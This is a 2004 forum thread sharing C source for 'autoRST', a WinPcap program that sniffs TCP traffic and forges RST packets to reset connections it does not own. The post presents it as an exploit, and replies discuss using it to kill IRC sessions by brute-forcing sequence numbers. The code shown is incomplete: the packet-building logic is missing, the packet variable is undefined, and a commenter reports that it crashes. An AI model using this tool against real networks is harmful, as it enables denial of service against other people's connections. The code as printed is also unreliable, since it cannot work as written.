autoRST is an automated TCP RST exploit. It uses the Winpcap libraries to sniff for TCP packets on a network and then sends out a forged RST packet after calculating the appropriate sequence number and forging the MAC address. Makes use of the recent vulnerable released by Paul A. Watson.
Exploit:
CODE
/ ******************************************************************************** ********** * autoRST * Matt Edman - Baylor University * 5/3/2004 * * DESCRIPTION: * Sniffs out TCP connections on a non-switched network and attempts to reset them * by forging a RST packet in the correct window * * REQUIRED LIBRARIES: * -WinPCAP 3.1beta or higher * -WinPCAP developer's pack * * NOTES: * Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate * winpcap header files downloaded and paths setup. Other than that, just start it * up and let it do its job. ******************************************************************************** **********/ #include <stdio.h>
// WinPCAP includes #include <pcap.h> #include <remote-ext.h>
// GLOBAL VARIABLES pcap_t *adhandle; // The device handle u_int localaddr; // Local IP Address struct sockaddr_in *lSock; // Local socket structure
int main( int argc, char *argv[] ) { pcap_if_t *alldevs; pcap_if_t *d;
int inum; int i=0;
char errbuf[PCAP_ERRBUF_SIZE]; char *localIP;
// Get the list of adapters if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); return 0; }
// Print the list of adapters -- from Winpcap sample code for( d = alldevs; d != NULL; d = d->next ) { printf("%d. %s", ++i, d->name); if ( d->description ) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum);
// Traverse the list to the selected adapter for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);
// Get the local address lSock = (struct sockaddr_in *)(d->addresses->addr); localaddr = lSock->sin_addr.S_un.S_addr; printf("%d\n", localaddr);
// Open the device for the capture if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) { fprintf(stderr,"\nUnable to open adapter: %s \n", d->name); pcap_freealldevs(alldevs); return -1; }
printf("\nListening on %s...\n", d->description); pcap_freealldevs(alldevs); pcap_loop(adhandle, 0, packet_handler, NULL);
return 0; }
// CALLBACK function...called for each received packet void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { u_int ip_len;
// Send the packet if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0) fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle)); }
// Calculates the TCP Checksum based on the helper header u_short csum (unsigned short *buf, int nwords) { unsigned long sum=0;
for( sum=0; nwords > 0; nwords-- ) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_short)~sum; }
// Takes in an ip_address structure and returns the equivalent 4byte UINT value u_int iptoUINT( ip_address *ip ) { u_int ipaddr; ipaddr = ip->byte4 | (ip->byte3 << 8); ipaddr = ipaddr | (ip->byte2 << 16); ipaddr = ipaddr | (ip->byte1 << 24); return htonl(ipaddr); }
// Display the values in the packet on the screen void print_packet( u_char *pkt, int len ) { int i;
printf("\tThe Packet\n------------------------------\n"); for( i = 0; i < len; i++ ) { if(i%4==0) printf("\n"); printf("0x%x ", pkt[i]); } printf("\n"); }
Additional Information: The information has been provided by Matt Edman.
SlashZero
May 4 2004, 06:37 PM
uhm well i compiled that.. but it crashes when i start it
i got latest pcap and lastest headerfiles but it won't run
tweakz20
May 4 2004, 08:29 PM
this is now a kind of old vulnerability... the original perl script worked fine for me (don't remember if i modded it or not though...)
billkennedy32
May 5 2004, 04:50 AM
When using tcp reset across the net , Most ISP's block access to this by putting simples ACL's , i had this though a little while ago, but now most ISP's are now just starting to catch up like finally filtering 445. You can do amazing things if you have access to raw sockets. Reset IRC sessions in a flash just make an app to brute force sequence numbers and ports.
Set up some tracing to see if you have access to this power, let me know , or maby not. That stuff is just cazy .
I hope soon all ISP's will have stoped this before it gets in to the wrong hands.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
. 